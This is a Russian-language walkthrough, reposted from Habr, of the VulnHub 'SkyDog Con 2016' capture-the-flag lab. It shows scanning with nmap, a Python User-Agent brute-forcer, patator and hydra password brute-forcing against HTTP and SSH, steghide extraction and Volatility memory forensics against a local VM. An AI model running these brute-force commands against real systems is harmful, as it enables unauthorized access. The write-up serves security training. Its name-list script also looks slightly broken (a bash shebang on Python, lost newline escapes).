- PVSM.RU - https://www.pvsm.ru -
Продолжаем разбор лаб с VulnHub [1]. На этот раз будем разбирать решение CTF [2] с недавней конференции по информационной безопасности SkyDog Con [3].
Скачиваем образ для VirtualBox, запускаем и как обычно смотрим вывод nmap`а:
sudo nmap 192.168.1.174 -sV -sC -p1-65535
Starting Nmap 7.01 ( nmap.org [4] ) at 2016-12-18 19:39 MSK
Nmap scan report for 192.168.1.174
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: SkyDog Con CTF 2016 — Catch Me If You Can
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=Network Solutions EV Server CA 2/organizationName=Network Solutions L.L.C./stateOrProvinceName=VA/countryName=US
| Not valid before: 2016-09-21T14:51:57
|_Not valid after: 2017-09-21T14:51:57
|_ssl-date: TLS randomness does not represent time
22222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:64:7c:d1:55:46:4e:50:e3:ba:cf:4c:1e:81:f9:db (RSA)
|_ 256 ef:17:df:cc:db:2e:c5:24:e3:9e:25:16:3d:25:68:35 (ECDSA)
MAC Address: 08:00:27:D3:70:74 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 — 4.1
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Нам доступны 3 порта SSH(22222), HTTP(80), HTTPS(443).
Судя из описания к первому флагу, нам нужно искать что-либо похожее на HEX последовательность.
Беглый осмотр сайта не дал результата, скан файлов и директорий тоже особо ситуацию не прояснил:
sudo dirsearch -u http://192.168.1.174 -e php,txt,json,bak,html -w /usr/share/dirb/wordlists/big.txt -r -f
Заглянув в код главной страницы видим следующее:
</div>
<!--[if IE 8]> <html lang="en" class="ie8"> <![endif]-->
<!--[if IE 9]> <html lang="en" class="ie9"> <![endif]-->
<!--[If IE4]><script src="/oldIE/html5.js"></script><![Make sure to remove this before going to PROD]-->
<!--[if !IE]><!-->
<!-- Header -->
Хм, странно, зачем нужно удалить этот код перед публикацией. Загляну внутрь /oldIE/html5.js, находим ту самую HEX последовательность о которой говорилось в описании флага:
Декодируем, и получаем первый флаг: flag{7c0132070a0ef71d542663e9dc1f5dee}. Это md5 от nmap.
Dirsearch выдал нам 403 на странице /personnel. Пробуем её открыть, дабы узнать подробности, в ответ получаем единственное сообщение:
ACCESS DENIED!!! You Do Not Appear To Be Coming From An FBI Workstation. Preparing Interrogation Room 1. Car Batteries Charging....
Попробовав изменить User-Agent в запросе, получаем тот же результат. Nikto тут нам тоже не помог, как и надежда на то, что на https крутится другая версия сайта. Предположив, что в флаге 1 была подсказка, и снова взглянув на лог, вспоминаем про нестандартный ssh порт. Коннектимся туда от root:
ssh root@192.168.1.174 -p 22222
Находим второй флаг: Flag{53c82eba31f6d416f331de9162ebe997}, в котором хеш от encrypt
И так, речь идёт о перехвате трафика, предыдущий флаг, отсылает нас к шифрованию. Не трудно догадаться, что нужно заглянуть в дамп SSL трафика, который идёт при загрузке страницы.
Запускаем Wireshark, выставляем фильтр для отображения пакетов только с сайта:
ip.addr == 192.168.1.174
Переходим на 192.168.1.174 [5], кликаем по ссылкам, что нам доступны, и далее переходим к просмотру трафика:
Флаг найден: flag3{f82366a9ddc064585d54e3f78bde3221}, это оказывается хеш от personnel
P.S. Как выяснилось позже, флаг можно было найти просто заглянув в браузере в свойства https сертификата:
Из третьего флага и описания, следует что моё изначальное предположение о том, что для входа на страницу /personnel требуется верный User-Agent, оказалось верным.
Скачиваем список [6] всех User-Agent`ов. Далее используя следующий скрипт на Python запускаем перебор.
import requests
import sys
url = 'http://192.168.1.174/personnel'
ua_file = sys.argv[1]
head = {'User-Agent':''}
bad_resp = 'ACCESS DENIED!!! You Do Not Appear To Be Coming From An FBI Workstation. Preparing Interrogation Room 1. Car Batteries Charging....'
file = open(ua_file, 'r').read().splitlines()
for item in file:
head['User-Agent'] = item.strip()
req = requests.get(url, headers=head)
if req.text != bad_resp:
print('Found UA: %s' %(item))
print(req.text)
Результат не заставил себя долго ждать:
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 98)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 95)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Mac_68K)
Found UA: Mozilla/4.0 PPC (compatible; MSIE 4.01; Windows CE; PPC; 240x320; Sprint:PPC-6700; PPC; 240x320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint;PPC-i830; PPC; 240x320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint; SCH-i830; PPC; 240x320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip830w; PPC; 240x320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip320; Smartphone; 176x220)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i830; PPC; 240x320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i320; Smartphone; 176x220)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:PPC-i830; PPC; 240x320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 176x220)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; Sprint:PPC-6700; PPC; 240x320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; PPC)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; Hotbar 3.0)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; DigExt)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC)
Found UA: Mozilla/4.0 WebTV/2.6 (compatible; MSIE 4.0)
Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows NT)
Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows 98 )
Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95)
Found UA: Mozilla/4.0 (Compatible; MSIE 4.0)
Found UA: Mozilla/2.0 (compatible; MSIE 4.0; Windows 98)
Found UA: nuSearch Spider (compatible; MSIE 4.01; Windows NT)
Судя по всему ФБР пользуется только MSIE 4.0 :) После замены в браузере User-Agent и перехода по ссылке, попадаем на FBI Portal агента Hanratty, и в самом низу страницы видим очередной флаг:
md5online [7] любезно сообщил что это хеш от evidence.
Рядом с флагом, можем наблюдать ещё одну подсказку это newevidence. А из описания флага следует, что нужно искать детали.
В глаза сразу бросается разница между не отсортированным и отсортированным списками, а так же ещё несколько деталей, собрав всё в кучу получаем следующий список:
Manhattan
Heidelbery
Great American Masterpiece
Miami
July 16, 2009
617468
inconsequential
newevidence
Hanratty
После долгих поисков по этим ключевым словам, можно наткнуться на ссылку [8]. Полистав её находим:
Agent Carl Hanratty — герой произведения
Catch Me If You Can — книга
Miami — сцена 17 фильма
Heidelberg — печатная машина из фильма
Продолжим, забив этот список в файл, и запустив перебор директорий и файлов находим кое-что интересное:
Отлично мы нашли форму авторизации! У нас есть пользователь: Carl Hanratty, из названия флага можно предположить, что пароль, это что-то простое — личная информация.
Приступим к перебору. Сгенерив словарь вероятных логинов запускаем patator [9], скармливаем ему набор словарей SecLists [10]
for item in $(find SecLists/ -name "*.txt"); do sudo patator http_fuzz url=http://192.168.1.174/newevidence auth_type=basic accept_cookie=1 follow=1 -x ignore:code=401 header='User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0)' user_pass="FILE0:FILE1" 0=logins.txt 1=$item; done
И спустя некоторое время получаем исходную комбинацию:
INFO — 200 1462:676 0.011 | carl.hanratty:Grace | 37586 | HTTP/1.1 200 OK
P.S. Детального изучив фильм или книгу, становится понятно, что Грейс это дочь Карла.
После авторизации попадаем на страницу:
И перейдя по одной из ссылок находим флаг: flag{117c240d49f54096413dd64280399ea9}. После расшифровки, получаем слово: panam
«Где Фрэнк?» — хм… Вернувшись на сайт видим ссылку Possible Location, перейдя по которой, нам открывается картинка:
Картинка довольно объёмная, что наводит на мысль, о том что в ней тут есть что-то ещё
sudo binwalk image.jpg
В картинке у нас индексный файл MyISAM на 2Мб. В сети можно найти описание [11] формата этого файла. Изучив его, понимаем, что индексы MySQL не могут содержать искомый нами флаг. Далее предположив, что мы имеем дело со стеганографией, посмотрим на вывод steghide.
После выполнения команды, у нас появляется запрос пароля.
steghide info image.jpg
Хм, интересно, пробуем ввести panam получаем такой вывод:
«image.jpg»:
format: jpeg
capacity: 230,1 KB
Try to get information about embedded data? (y/n) y
Enter passphrase:
embedded file «flag.txt»:
size: 71,0 Byte
encrypted: rijndael-128, cbc
compressed: yes
Извлекаем файл, в файле находим очередной флаг flag{d1e5146b171928731385eb7ea38c37b8} и новую подсказку: clue=iheartbrenda
Загуглив описание флага, можно найти отсылку к сериалу FLASH [12], а заглянув на вики [13] узнаём следующее:
Frank calls him, attempting to apologize for duping Carl. Carl rejects his apology and tells him he will soon be caught, but laughs when he realizes Frank actually called him because he has no one else to talk to. Frank hangs up, and Carl continues to investigate, suddenly realizing (thanks to a waiter) that the name «Barry Allen» is from the Flash comic books and that Frank is actually a teenager.
Frank, meanwhile, has expanded his con to include the identities of a doctor and lawyer. While playing Dr. Frank Conners, he falls in love with Brenda (Amy Adams).
Но что могут значить эти подсказки? Вспомнив про забытый в самом начале ssh. Всё сразу начало сходиться. У нас есть 2 фразы iheartbrenda и ILoveFrance, и несколько новых имён:
Frank Conners
Barry Allen
Carl Hanratty
#!/bin/bash
import sys
def Usage():
print('Usage: ./NtoL.py [namelist]')
exit(0)
if len(sys.argv) <= 1: Usage()
nameList = open(sys.argv[1]).read().splitlines()
out = open(sys.argv[1], 'w')
for item in nameList:
item = item.split(' ')
out.write( '%s%sn' %(item[0], item[1]) )
out.write( '%s.%sn' %(item[0], item[1]) )
out.write( '%s%sn' %(item[0][0], item[1]) )
out.write( '%s.%sn' %(item[0][0], item[1]) )
out.write( ('%s%sn' %(item[0], item[1])).lower() )
out.write( ('%s.%sn' %(item[0], item[1])).lower() )
out.write( ('%s%sn' %(item[0][0], item[1])).lower() )
out.write( ('%s.%sn' %(item[0][0], item[1])).lower() )
out.close()
На выходе получаем такой словарь логинов для перебора:
CarlHanratty
Carl.Hanratty
CHanratty
C.Hanratty
carlhanratty
carl.hanratty
chanratty
c.hanratty
BarryAllen
Barry.Allen
BAllen
B.Allen
barryallen
barry.allen
ballen
b.allen
FrankConners
Frank.Conners
FConners
F.Conners
frankconners
frank.conners
fconners
f.conners
Отправляем всё в Hydra и результат не заставляет себя долго ждать:
hydra -L logins.txt -P flag7pwd ssh://192.168.1.174 -s 22222
Входим, и сразу находим флаг:
После расшифровки флага получаем: theflash
В той же директории, в которой мы нашли флаг, есть подозрительный файл: security-system.data
Скачиваем его себе, для дальнейшего анализа:
scp -P 22222 barryallen@192.168.1.174:~/security-system.data ./
И так перед нами архив, распаковываем его:
$ file security-system.data
security-system.data: Zip archive data, at least v2.0 to extract
$ 7z x -oSS security-system.data
$ cd ./SS
$ ls
security-system.data
$ file security-system.data
security-system.data: data
Формат не определился, зато размер 1Гб. Binwalk какой-либо вразумительной информации не дал, поэтому попробуем volatility:
volatility -f security-system.data imageinfo
Volatility Foundation Volatility Framework 2.5
INFO: volatility.debug: Determining profile based on KDBG search…
Suggested Profile(s): WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
AS Layer1: IA32PagedMemoryPae (Kernel AS)
AS Layer2: FileAddressSpace (/CTF/VulnHub/SkyDog2016/SS/security-system.data)
PAE type: PAE
DTB: 0x33e000L
KDBG: 0x80545b60L
Number of Processors: 1
Image Type (Service Pack): 3
KPCR for CPU 0: 0xffdff000L
KUSER_SHARED_DATA: 0xffdf0000L
Image date and time: 2016-10-10 22:00:50 UTC+0000
Image local date and time: 2016-10-10 18:00:50 -0400
Отлично, перед нами дамп памяти ОС WinXP. Начнём извлекать из него полезную информацию, и начнём с модуля cmdline, так как он первый в списке, и наиболее интересен:
volatility -f security-system.data --profile=WinXPSP2x86 cmdline
Последним редактировался файл code.txt. Запустив следующий модуль cmdscan, находим ещё одну интересную запись:
volatility -f security-system.data --profile=WinXPSP2x86 cmdscan
После декодирования этой HEX последовательности, например тут [14], получаем последний флаг:
flag{841dd3db29b0fbbd89c7b5be768cdc81}, в котором захеширована фраза: Two[space]little[space]mice
Выполнив команду:
volatility -f security-system.data --profile=WinXPSP2x86 notepad
Можно получить дамп текста из notepad, и убедиться что это именно нужный нам флаг:
Volatility Foundation Volatility Framework 2.5
Process: 268
Text:
?Text:
dText:
Text:
?Text:
66 6c 61 67 7b 38 34 31 64 64 33 64 62 32 39 62 30 66 62 62 64 38 39 63 37 62 35 62 65 37 36 38 63 64 63 38 31 7d
CTF Пройден!
Автор: GH0st3rs
Источник [15]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/vulnerability/223637
Ссылки в тексте:
[1] VulnHub: https://www.vulnhub.com/
[2] CTF: https://www.vulnhub.com/entry/skydog-2016-catch-me-if-you-can,166/
[3] SkyDog Con: http://www.skydogcon.com/
[4] nmap.org: https://nmap.org
[5] 192.168.1.174: https://192.168.1.174
[6] список: https://raw.githubusercontent.com/Ejz/Common/master/ua/full.list
[7] md5online: http://www.md5online.org/
[8] ссылку: http://www.spielberg-ocr.com/hanratty.html
[9] patator: https://github.com/lanjelot/patator
[10] SecLists: https://github.com/danielmiessler/SecLists
[11] описание: https://dev.mysql.com/doc/internals/en/the-myi-file.html
[12] FLASH: https://www.youtube.com/watch?v=8rrjSkGx4V0
[13] вики: https://en.wikipedia.org/wiki/Catch_Me_If_You_Can
[14] тут: http://string-functions.com/hex-string.aspx
[15] Источник: https://habrahabr.ru/post/317878/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best
Нажмите здесь для печати.